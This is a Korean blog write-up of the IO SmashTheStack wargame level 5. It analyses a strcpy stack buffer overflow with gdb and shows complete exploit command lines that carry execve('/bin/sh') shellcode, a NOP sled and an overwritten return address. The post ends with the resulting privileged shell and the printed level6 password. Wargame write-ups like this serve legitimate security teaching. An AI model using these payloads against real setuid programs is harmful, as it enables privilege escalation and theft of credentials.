드디어 이번 레벨부터 8 까지 버퍼오버플로우 문제인것 같습니다.
레벨 9 는 포맷스트링에 대한 문제이고 그 이후는 아직 풀어보지 못하였습니다.
level5@io:~$ cd /levels
level5@io:/levels$ ./level05
이번에는 프로그램을 실행해도 아무 메세지도 뜨지가 않는다.
인자를 전달해줘보자
level5@io:/levels$ ./level05 aa
aa
level5@io:/levels$ ./level05 aa aa
aa
입력한 argv[1] 의 문자열을 다시 출력해주고 있다.
소스가 있으니 먼저 소스를 분석해보고 필요하다면 디버깅을 해보겠다.
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128]; // 버퍼 128바이트 선언
if(argc < 2) return 1; // argc 가 2 보다 작을겨우 프로그램 종료
strcpy(buf, argv[1]); // argv[1] 을 buf 에 복사합니다, argv[1] 이 buf 보다 클 경우 버퍼오버플로우가 일어납니다.
printf("%s\n", buf);
return 0;
}
소스만 봐서는 분석이 되지않는군요,
level5@io:/levels$ gcc -v
Using built-in specs.
Target: i486-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 4.4.5-8' --with-bugurl=file:///usr/share/doc/gcc-4.4/README.Bugs --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.4 --enable-shared --enable-multiarch --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.4 --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-objc-gc --enable-targets=all --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=i486-linux-gnu --host=i486-linux-gnu --target=i486-linux-gnu
Thread model: posix
gcc version 4.4.5 (Debian 4.4.5-8)
GCC 버전은 2.96? 버전보다 높으니 자동으로 더미가 붙습니다.
디버깅을 시작해보겠습니다.
level5@io:/levels$ gdb -q level05
Reading symbols from /levels/level05...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>: push %ebp
0x080483b5 <main+1>: mov %esp,%ebp // 프롤로그 부분
0x080483b7 <main+3>: sub $0xa8,%esp // 168바이트 스택 공간 생성 (ESP-168)
0x080483bd <main+9>: and $0xfffffff0,%esp // ESP 와 -16 을 and 연산
0x080483c0 <main+12>: mov $0x0,%eax // EAX 에 0 값 복사
0x080483c5 <main+17>: sub %eax,%esp // ESP 에 EAX 만큼 스택 크기 생성
0x080483c7 <main+19>: cmpl $0x1,0x8(%ebp) // (EBP+8) 과 1 비교 - argc 와 1 을 비교
0x080483cb <main+23>: jg 0x80483d9 <main+37> // CMPL - True => 0x80483d9 로 점프
0x080483cd <main+25>: movl $0x1,-0x8c(%ebp) // CMPL - False ==> (EBP-140) 에 1 복사
0x080483d7 <main+35>: jmp 0x8048413 <main+95> // CMPL - False => 0x8048413 점프~
0x080483d9 <main+37>: mov 0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - (EBP+12) -> argc
0x080483dc <main+40>: add $0x4,%eax // EAX + 4 => argv[1] 의 시작주소
0x080483df <main+43>: mov (%eax),%eax // EAX 에 EAX 값 복사
0x080483e1 <main+45>: mov %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사
0x080483e5 <main+49>: lea -0x88(%ebp),%eax // EAX 에 (EBP-136) 의 주소 값 복사 - (EBP-136) -> buf
0x080483eb <main+55>: mov %eax,(%esp) // ESP 에 EAX 값 복사
0x080483ee <main+58>: call 0x80482d4 <strcpy@plt> // strcpy 함수 실행 - strcpy(buf, argv[1]);
// 인자를 모두 전달해줬다.
0x080483f3 <main+63>: lea -0x88(%ebp),%eax // EAX 에 (EBP-138) 주소값 복사 - buf
0x080483f9 <main+69>: mov %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사 - buf 값 복사
0x080483fd <main+73>: movl $0x8048524,(%esp) // ESP 에 $0x8048524 값 복사 - 0x8048524: "%s\n"
0x08048404 <main+80>: call 0x80482b4 <printf@plt> // print 함수 호출
0x08048409 <main+85>: movl $0x0,-0x8c(%ebp) // (EBP-140) 에 0 복사
0x08048413 <main+95>: mov -0x8c(%ebp),%eax // EAX 에 (EBP-140) 값 복사 - 초기화 과정
0x08048419 <main+101>: leave
0x0804841a <main+102>: ret // 에필로그
End of assembler dump.
앞에서 우리는 (EBP-136), 그러니깐 buf 가 더미까지 합쳐서 총 136바이트 인것을 알아챘다
이 문제는 전형적인 버퍼 오버플로우 문제이다. 메모리 구조를 확인해보면
| buf - 136Byte | SFP(EBP) - 4byte | RET - 4Byte | 이다.
총 쉘코드를 덮어줘야되니깐 100 바이트를 NOP 로 덮고 25 바이트를 쉘코드로 덮고,
나머지 15바이트를 또 NOP 로 덮어준다음 앞서 기록한 NOP 의 주소를 RET 로 변조시켜주면 된다.
그러면 페이로드도 구성했으니 공격해보자.
(gdb) x/30x $esp
0xbfffdbb0: 0x08048524 0xbfffdbd0 0x08048184 0x00000001
0xbfffdbc0: 0x00311ff4 0xbfffdcb0 0x00312ab0 0x00000000
0xbfffdbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdc00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdc10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdc20: 0x90909090 0x90909090
(gdb)
0xbfffdc28: 0x90909090 0x90909090 0x90909090 0x6850c031
0xbfffdc38: 0x68732f2f 0x69622f68 0x50e3896e 0x31e18953
0xbfffdc48: 0xcd0bb0d2 0x90909080 0x90909090 0x90909090
0xbfffdc58: 0x90909090 0x00b42c00 0x00000002 0xbfffdd04
0xbfffdc68: 0xbfffdd10 0x001118c8 0xbfffdcc0 0x0177ff8e
0xbfffdc78: 0x00311ff4 0x0804820b 0x00000001 0xbfffdcc0
0xbfffdc88: 0x00303626 0x00312ab0 0x00111bb8 0x00c6dff4
0xbfffdc98: 0x00000000 0x00000000
RET 의 주소를 0xbfffdbe0 라고 생각하고 한번 넘겨줘보았다.
level5@io:/levels$ ./level05 `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*15 + "\xe0\xdb\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á1Ò°
Í€àÛÿ¿
Segmentation fault
엇, 그러나 세그폴트가 뜨고 쉘은 뜨지를 않았다.
이상해서 이곳 저곳 주소를 넘겨줘봤는데 쉘은 뜨지 않았다. 알고보니 그냥 단순한
GDB 상의 메모리 주소 오차 문제이다. 그래서 생각해낸 방법이
argv[1] 에 140바이트를 모두 덮고 argv[2] 의 주소를 RET 로 넘겨주고
argv[2] 에는 무수히 많은 NOP 를 덮어준다음 쉘코드를 덮는 방법을 생각해보았다.
level5@io:/levels$ ./level05 `python -c 'print "\x90"*140 + "\x10\xdd\xff\xbf"'` `python -c 'print "\x90"*80000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` Ýÿ¿
sh-4.1$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.1$ cat /home/level6/.pass
MJQsFVD8k46V
NOP 를 8만개 넘겨줘보았더니 문제가 성공적으로 풀어졌다. 위와 같은 경우는 메모리 주소 오차따위는
생각해보지 않아도 되는것이다.
'스터디 > wargames' 카테고리의 다른 글
[BOF-Wargames] IO SmashTheStack Level7 문제풀이 (0) | 2011.08.15 |
---|---|
[BOF-Wargames] IO SmashTheStack Level6 문제풀이 (0) | 2011.08.14 |
[USE-Wargames] IO SmashTheStack Level4 문제풀이 (0) | 2011.08.12 |
[USE-Wargames] IO SmashTheStack Level3 문제풀이 (0) | 2011.08.12 |
[USE-Wargames] IO SmashTheStack Level2 문제풀이 (0) | 2011.08.12 |